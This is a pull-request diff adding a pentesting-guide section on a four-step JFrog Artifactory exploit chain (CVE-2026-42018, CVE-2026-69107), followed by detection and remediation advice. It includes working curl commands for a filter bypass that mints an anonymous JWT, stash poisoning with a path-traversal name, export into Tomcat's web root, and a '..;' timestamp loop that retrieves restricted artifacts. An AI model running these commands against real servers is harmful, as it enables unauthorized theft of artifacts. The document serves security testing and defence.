Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,120 @@

The linked guide collects practical Artifactory testing notes covering anonymous access, repository permissions, version-specific vulnerabilities, and post-exploitation paths. Validate every technique against the deployed Artifactory version because endpoints, defaults, and mitigations have changed over time.<sup>[[1]](#references)</sup>

## Anonymous JWT to restricted-artifact exfiltration

A useful Artifactory review pattern is to follow an identity from the security filter chain into UI helpers, session objects, content-addressed storage, filesystem export code, and finally the reverse proxy. CVE-2026-42018 and CVE-2026-69107 demonstrate how four mismatches across those layers can turn an unauthenticated request into arbitrary restricted-artifact read.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>

### 1. Trailing-slash security-filter mismatch

In vulnerable versions, the AWS token-exchange authentication filter exactly matches `POST /api/v1/aws/token`, but the JAX-RS resource also accepts `/api/v1/aws/token/`. The trailing slash makes Spring's `AntPathRequestMatcher` return false, so `OncePerRequestFilter.shouldNotFilter()` skips the AWS header and IAM-identity validation while the request still reaches the token handler. Test path variants—trailing and duplicate separators, encoded separators, dot segments, and path parameters—whenever a filter and resource router use different matchers.<sup>[[2]](#references)</sup>

```bash
curl -sS -X POST \
'https://artifactory/access/api/v1/aws/token/' \
-H 'Content-Type: application/json' \
-d '{}'
```

After the intended filter is skipped, Spring's fallback anonymous filter populates the empty security context. The token resource uses `@SkipAuthorization`, reads only the context username, and mints a JWT without proving that AWS authentication established that identity. Artifactory's anonymous principal is a database user in the users role, so the returned `applied-permissions/user` token can satisfy endpoints guarded by `@RolesAllowed({"admin", "user"})` even when ordinary anonymous access is disabled.<sup>[[2]](#references)</sup>

```bash
JWT='<access_token>'
curl -sS 'https://artifactory/artifactory/api/system/version' \
-H "Authorization: Bearer ${JWT}"
```

This is broader than a login-form bypass: audit any credential-minting endpoint that trusts a generic `SecurityContext` principal. Require evidence that the expected mechanism authenticated the principal, rather than merely checking that some fallback identity exists. See also [Login Bypass](../../pentesting-web/login-bypass/README.md) and [403 & 401 Bypasses](403-and-401-bypasses.md).<sup>[[2]](#references)</sup>

### 2. ACL-free object hydration and session poisoning

The deprecated stash feature accepts search-result models at `POST /artifactory/ui/stashResults`. For a `quick` result, attacker-controlled `repoKey` and `relativePath` values are combined into a `RepoPath`; `RepositoryServiceImpl.getItemInfo()` then returns a `FileInfo` with SHA-1/SHA-256, size, timestamps, and repository metadata without checking whether the caller may read that logical path. Existing and nonexistent artifact paths also produce distinguishable outcomes, creating a repository/artifact enumeration oracle.<sup>[[2]](#references)</sup>

The same flow calls `request.getSession(true)` for a bearer-only request and stores the hydrated object under the attacker-controlled `name`. Consequently, the bearer JWT is upgraded to a stateful session containing privileged metadata for an otherwise unreadable artifact. This pattern is worth testing in search, clipboard, batch, export, backup, replication, and restore helpers: accepting an identifier and constructing a trusted internal object can bypass the normal object-level authorization layer.<sup>[[2]](#references)</sup>

```bash
STASH='../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/ROOT/markertag'

curl -sk --path-as-is -D headers.txt -c cookies.txt -X POST \
"https://artifactory/artifactory/ui/stashResults?name=${STASH}" \
-H "Authorization: Bearer ${JWT}" \
-H 'Content-Type: application/json' \
-H 'X-Requested-With: artUI' \
-d '[{"type":"quick","repoKey":"sample-repo","relativePath":"builds/sample/sample-v1.0.0"}]'
```

A successful response sets a `SESSION` cookie and binds the restricted artifact's `FileInfo` to the traversal-shaped stash key. Retain both the JWT and cookie for the export request. This is an application-specific instance of [IDOR/BOLA](../../pentesting-web/idor.md), but the referenced object is server-side metadata rather than a simple numeric record.<sup>[[2]](#references)</sup>

### 3. Content-addressed export plus secondary-component traversal

Artifactory's export path dereferences the stashed object with `getBinary(sourceFile.getSha1(), headers)`; no repository ACL is rechecked immediately before the blob read. In a content-addressed system, possession of a valid digest or metadata object can therefore become equivalent to read permission if low-level export/restore code treats the digest as sufficient authority.<sup>[[2]](#references)</sup>

The export endpoint validates the JSON body path, but later constructs a child directory from the unvalidated stash name and a timestamp:

```java
String baseExportName = searchResults.getName() + "-" + timestamp;
File tmpExportDir = new File(validatedBaseDir, baseExportName);
```

Validating only `validatedBaseDir` is insufficient. A stash name beginning with `../` survives the concatenation, and `FileUtils.forceMkdir()` resolves it when creating the final parent. Validation must canonicalize the **complete destination after every attacker-controlled component is appended** and then verify that it remains below the export root. See [File Inclusion and Path Traversal](../../pentesting-web/file-inclusion/README.md).<sup>[[2]](#references)</sup>

The security-relevant export request fields are the same traversal-shaped `name`, a permitted base such as `/tmp`, and the session that contains the poisoned stash object. Other JSON flags may be required by the deployed endpoint schema.<sup>[[2]](#references)</sup>

```bash
curl -sk --path-as-is -D export-headers.txt -b cookies.txt -X POST \
"https://artifactory/artifactory/ui/stashResults/export?name=${STASH}" \
-H "Authorization: Bearer ${JWT}" \
-H 'Content-Type: application/json' \
-H 'X-Requested-With: artUI' \
-d '{"path":"/tmp"}'
```

With the example stash name, the restricted blob is copied beneath Tomcat's unauthenticated static root in a directory named `markertag-yyyyMMdd.HHmmss`. The HTTP response `Date` header bounds the timestamp search; the original research found that testing the response second and the preceding two seconds was sufficient. Exporting a protected object into an unprotected web root bypasses its logical repository ACL even though the vulnerable API never returns the bytes directly.<sup>[[2]](#references)</sup>

If the attacker also controls the source artifact's content and filename, this becomes a constrained arbitrary-file-write primitive. Do not claim RCE without separately accounting for the mandatory timestamped parent directory, retained source filename, extensions, and permissions; the demonstrated chain used the write only for exfiltration.<sup>[[2]](#references)</sup>

### 4. jf-router/Tomcat path-parser differential

In a typical deployment, `jf-router`/Traefik exposes a route matching `^/artifactory/(.*)$` and forwards it to Tomcat on `localhost:8081`. The frontend matches and forwards a raw `/artifactory/..;/...` path, while Tomcat strips the semicolon path parameter, obtains a `..` segment, and normalizes into its root web application. One URL therefore both selects the backend route and escapes the `/artifactory` context.<sup>[[2]](#references)</sup>

Use a client that preserves the raw path; curl otherwise normalizes dot segments before transmission:

```bash
curl -si --path-as-is \
'https://artifactory/artifactory/..;/index.html'
```

A vulnerable route returns Tomcat's root `index.html` rather than an Artifactory-context resource. After export, request candidate timestamped directories through the same differential:<sup>[[2]](#references)</sup>

```bash
TAG='markertag'
for TS in 20260713.112308 20260713.112307 20260713.112306; do
code=$(curl -sk --path-as-is -o /tmp/artifact -w '%{http_code}' \
"https://artifactory/artifactory/..;/${TAG}-${TS}/sample-v1.0.0")
[ "$code" = 200 ] && sha256sum /tmp/artifact && break
done
```

When port 8081 is directly reachable, the `..;` routing step is unnecessary and the timestamped static path can be requested from Tomcat directly. For other stacks, compare the raw and normalized path at every hop and test semicolon parameters, trailing slashes, duplicate separators, encoded separators, and mixed encodings. See [Proxy/WAF Protections Bypass](../../pentesting-web/proxy-waf-protections-bypass.md) and [Tomcat path traversal](tomcat/README.md#path-traversal-exploit).<sup>[[2]](#references)</sup>

## Detection and remediation

High-signal review points for this chain include the following.<sup>[[2]](#references)</sup>

- `POST /access/api/v1/aws/token/` with a trailing slash, especially followed by anonymous-user JWT activity.
- Tokens for `anonymous` whose description is `Generated access token for Aws assumed role token exchange`.
- Bearer-authenticated `/artifactory/ui/stashResults` and `/stashResults/export` requests that also create/use a `SESSION` cookie.
- Stash names containing `../`, installation paths, or `tomcat/webapps/ROOT`.
- Unexpected `name-yyyyMMdd.HHmmss` directories beneath the Tomcat root application.
- Raw URLs containing `/artifactory/..;/`, particularly repeated requests across adjacent timestamps.

CVE-2026-42018 is fixed in 7.146.8. CVE-2026-69107 is fixed in 7.104.16, 7.111.14, 7.117.21, 7.125.14, 7.133.21, and 7.146.8 for the corresponding maintained branches. Upgrade to a fixed release, prevent direct external access to backend ports and internal router administration endpoints, and inspect the Tomcat web root and access logs for the indicators above.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>

## References

- [1] [Guillaume Quéré - Artifactory Hacking Guide](https://www.errno.fr/artifactory/Attacking_Artifactory)
- [2] [Daniil Vylegzhanin (NetSPI) - Stealing the Artifact: Chaining JFrog Artifactory Authentication, Authorization, Path Traversal, and URL Parsing Vulnerabilities](https://www.netspi.com/blog/technical-blog/red-teaming/stealing-the-artifact-jfrog-artifactory-vulnerability/)
- [3] [JFrog CNA record - CVE-2026-42018](https://www.cve.org/CVERecord?id=CVE-2026-42018)
- [4] [JFrog CNA record - CVE-2026-69107](https://www.cve.org/CVERecord?id=CVE-2026-69107)

{{#include ../../banners/hacktricks-training.md}}